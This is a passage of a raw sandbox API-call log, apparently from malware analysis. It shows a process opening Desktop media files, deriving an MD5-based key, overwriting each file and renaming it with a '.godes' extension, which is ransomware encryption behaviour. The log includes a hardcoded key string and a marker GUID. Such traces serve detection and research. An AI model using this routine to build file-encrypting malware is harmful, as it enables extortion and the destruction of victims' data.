(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\2i1vmdTQBze3Oqp_rHR.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\2i1vmdtqbze3oqp_rhr.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.664] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=38963) returned 1 [0113.664] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.666] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x980d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.666] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.667] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.667] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x9833, lpOverlapped=0x0) returned 1 [0113.668] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.668] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.668] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.668] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741400) returned 1 [0113.669] CryptCreateHash (in: hProv=0x741400, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.669] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.669] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.669] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.669] GetLastError () returned 0x0 [0113.669] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.669] CryptReleaseContext (hProv=0x741400, dwFlags=0x0) returned 1 [0113.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x9830) returned 0x3321120 [0113.669] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.669] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x982e, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x982e, lpOverlapped=0x0) returned 1 [0113.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.669] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x9833, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0113.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0113.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.670] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0113.670] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.670] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.670] CloseHandle (hObject=0x624) returned 1 [0113.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x31d8608 [0113.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8b0) returned 0x3321120 [0113.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31d8608 | out: hHeap=0x660000) returned 1 [0113.671] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\2i1vmdTQBze3Oqp_rHR.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\2i1vmdtqbze3oqp_rhr.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\2i1vmdTQBze3Oqp_rHR.mp3.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\2i1vmdtqbze3oqp_rhr.mp3.godes")) returned 1 [0113.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.671] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.672] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0113.672] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0432130, ftCreationTime.dwHighDateTime=0x1d4caee, ftLastAccessTime.dwLowDateTime=0x45015670, ftLastAccessTime.dwHighDateTime=0x1d4ce53, ftLastWriteTime.dwLowDateTime=0x45015670, ftLastWriteTime.dwHighDateTime=0x1d4ce53, nFileSizeHigh=0x0, nFileSizeLow=0x20fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2q_u.mp4", cAlternateFileName="")) returned 1 [0113.672] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741400 [0113.672] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0113.672] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741400 | out: hHeap=0x660000) returned 1 [0113.672] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\2q_u.mp4") returned=".mp4" [0113.672] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\2q_u.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\2q_u.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.673] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=8444) returned 1 [0113.673] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.675] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x20d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.675] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.676] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.676] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.676] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.676] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x20fc, lpOverlapped=0x0) returned 1 [0113.677] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.677] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.677] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.677] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.677] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741400) returned 1 [0113.678] CryptCreateHash (in: hProv=0x741400, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.678] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.678] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.678] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.678] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.678] GetLastError () returned 0x0 [0113.678] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.678] CryptReleaseContext (hProv=0x741400, dwFlags=0x0) returned 1 [0113.678] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.678] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x2100) returned 0x3321120 [0113.678] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.678] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.678] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x20f7, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x20f7, lpOverlapped=0x0) returned 1 [0113.678] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.678] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x20fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.678] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.679] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0113.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.679] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0113.679] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.679] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.679] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.679] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0113.679] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.679] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.679] CloseHandle (hObject=0x624) returned 1 [0113.680] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0113.680] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0113.680] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0113.680] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\2q_u.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\2q_u.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\2q_u.mp4.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\2q_u.mp4.godes")) returned 1 [0113.685] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.685] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.686] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0113.686] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8807180, ftCreationTime.dwHighDateTime=0x1d4d363, ftLastAccessTime.dwLowDateTime=0x6b533700, ftLastAccessTime.dwHighDateTime=0x1d4c686, ftLastWriteTime.dwLowDateTime=0x6b533700, ftLastWriteTime.dwHighDateTime=0x1d4c686, nFileSizeHigh=0x0, nFileSizeLow=0xdbd0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5Ka6.jpg", cAlternateFileName="")) returned 1 [0113.686] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741400 [0113.686] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0113.686] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741400 | out: hHeap=0x660000) returned 1 [0113.686] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\5Ka6.jpg") returned=".jpg" [0113.686] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\5Ka6.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\5ka6.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.687] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=56272) returned 1 [0113.687] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.688] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xdbaa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.688] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.690] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.690] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.690] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.690] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xdbd0, lpOverlapped=0x0) returned 1 [0113.691] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.691] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.691] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.691] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.691] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741400) returned 1 [0113.691] CryptCreateHash (in: hProv=0x741400, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.691] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.692] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.692] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.692] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.692] GetLastError () returned 0x0 [0113.692] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.692] CryptReleaseContext (hProv=0x741400, dwFlags=0x0) returned 1 [0113.692] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.692] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xdbd0) returned 0x3321120 [0113.692] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.692] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.692] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0xdbcb, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0xdbcb, lpOverlapped=0x0) returned 1 [0113.692] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.692] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xdbd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.692] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.692] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0113.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.692] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0113.693] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.693] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.693] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.693] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0113.693] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.693] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.693] CloseHandle (hObject=0x624) returned 1 [0113.694] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0113.694] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0113.694] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0113.694] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\5Ka6.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\5ka6.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\5Ka6.jpg.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\5ka6.jpg.godes")) returned 1 [0113.694] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.694] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.695] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0113.695] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1bc9370, ftCreationTime.dwHighDateTime=0x1d4cd61, ftLastAccessTime.dwLowDateTime=0xc3168d90, ftLastAccessTime.dwHighDateTime=0x1d4d124, ftLastWriteTime.dwLowDateTime=0xc3168d90, ftLastWriteTime.dwHighDateTime=0x1d4d124, nFileSizeHigh=0x0, nFileSizeLow=0xa895, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FDSheH9RWpg6rD.mp3", cAlternateFileName="FDSHEH~1.MP3")) returned 1 [0113.695] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741400 [0113.695] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0113.695] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741400 | out: hHeap=0x660000) returned 1 [0113.695] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\FDSheH9RWpg6rD.mp3") returned=".mp3" [0113.695] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\FDSheH9RWpg6rD.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\fdsheh9rwpg6rd.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.696] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=43157) returned 1 [0113.696] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.698] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xa86f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.698] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.699] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.699] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xa895, lpOverlapped=0x0) returned 1 [0113.700] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.700] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.700] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.700] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.700] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741400) returned 1 [0113.701] CryptCreateHash (in: hProv=0x741400, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.701] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 